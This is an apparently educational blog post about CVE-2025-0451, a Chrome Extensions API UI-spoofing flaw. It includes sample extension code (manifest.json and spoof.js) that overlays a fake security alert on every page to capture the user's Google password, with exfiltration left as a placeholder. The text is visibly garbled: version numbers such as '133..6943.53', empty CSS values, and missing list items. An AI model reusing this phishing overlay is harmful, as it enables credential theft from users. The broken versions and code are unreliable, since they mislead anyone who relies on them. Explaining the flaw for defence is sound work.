CVE-2025-0451 - How a Google Chrome Extensions API Flaw Enabled UI Spoofing Attacks

In early 2025, security researchers identified a medium-severity vulnerability in Google Chrome, formally registered as CVE-2025-0451. This flaw, present in Chrome versions prior to 133..6943.53, stems from an inappropriate implementation of the Extensions API. It allowed attackers to trick users through UI spoofing with specially crafted Chrome extensions. In this post, we break down what went wrong, show simple code snippets demonstrating the issue, and discuss how attackers could use it in real-world scenarios.

What Is CVE-2025-0451?

CVE-2025-0451 involves Chrome's Extensions API. Extensions are small software programs that let users customize their Chrome experience. This vulnerability existed because Chrome didn't properly restrict certain UI actions extensions could take. As a result, malicious extensions could trick users into thinking they were interacting with legit Chrome UI, when in fact they weren't.

Attacker crafts a malicious Chrome extension.

2. User is lured—often through phishing or social engineering—into installing the extension and/or performing specific UI gestures (clicks, hovers, etc).
3. Malicious extension manipulates the Chrome UI, presenting fake prompts or overlays that impersonate real browser elements.
4. If the user trusts and responds to the spoofed UI, sensitive data (like passwords) could be stolen, or security restrictions bypassed.

![Example of UI Spoofing Attack](
https://i.imgur.com/jXosUYb.png
)

A Sample Attack: Code Snippet

Here’s a simplified snippet (in manifest.json and extension content script) to show the kind of trickery enabled by this flaw:

manifest.json

{
  "manifest_version": 3,
  "name": "Fake Chrome UI Helper",
  "version": "1.",
  "permissions": [
    "activeTab",
    "scripting"
  ],
  "background": {
    "service_worker": "background.js"
  },
  "content_scripts": [
    {
      "matches": ["<all_urls>"],
      "js": ["spoof.js"]
    }
  ]
}

spoof.js

document.addEventListener('DOMContentLoaded', function() {
    // Create a fake Chrome notification bar at the top of the page
    let fakeBar = document.createElement('div');
    fakeBar.style = "position:fixed;top:;left:;width:100%;height:40px;background:#eee;border-bottom:1px solid #ccc;z-index:9999;text-align:center;line-height:40px;font-family:sans-serif;";
    fakeBar.innerHTML = '<b>Security Alert:</b> Please re-enter your Google password <input type="password" id="gp" /> <button id="submit">Submit</button>';
    document.body.appendChild(fakeBar);

    document.getElementById('submit').onclick = function() {
        alert('Password captured: ' + document.getElementById('gp').value);
        // Exfiltration logic goes here
    };
});

This code would add a fake notification bar above any webpage, completely under the attacker's control. In reality, attackers may style it to look exactly like native Chrome interface elements, making it very tricky to distinguish from the real thing.

Why This Was a Big Deal

- The spoofed UI would appear seamlessly, often mimicking legitimate browser warnings, permissions dialogs, or update prompts.
- Attackers only needed to convince users to install the malicious extension (sometimes via shady Chrome Web Store listings, spoofed emails, etc).
- If the user trusted the fake UI, attackers could easily harvest credentials or perform further attacks.

Real-World Scenarios

- Phishing 2.: Extensions could spawn fake password fields or site verification pop-ups, tricking users into entering sensitive credentials.
- Permission Escalation: Fake permission prompts might convince users to grant more dangerous extension permissions.
- Persistence: Since it's done via extension, it could persist across browser restarts—or until removed.

Official References & Further Reading

- Chrome Stable Channel Update
- Chromium Security Bugs List
- Chrome Extensions API Documentation
- Security Blog: UI Spoofing & Social Engineering

Update Chrome immediately to version 133..6943.53 or later.

2. Only install extensions you trust and from reputable publishers. Check reviews and permissions requested.
3. Stay vigilant: Question unexpected browser prompts, UI bars, or permission requests—even if they "look" like part of Chrome.

Conclusion

CVE-2025-0451 is a solid reminder that browser extensions hold a lot of power—sometimes, too much. While Google has patched the issue in newer versions, it’s best to keep Chrome updated and be careful with what you install. Attackers are always looking for new ways to take advantage of human trust in browser UI—and this vulnerability gave them a sneakier way to do just that.

Stay sharp, and always double-check your Chrome!

*If you want more technical details or have questions, check out the official Chromium bug tracker or see the patch notes on Google’s Chrome release blog.*

Timeline

Published on: 02/04/2025 19:15:32 UTC
Last modified on: 02/07/2025 22:15:14 UTC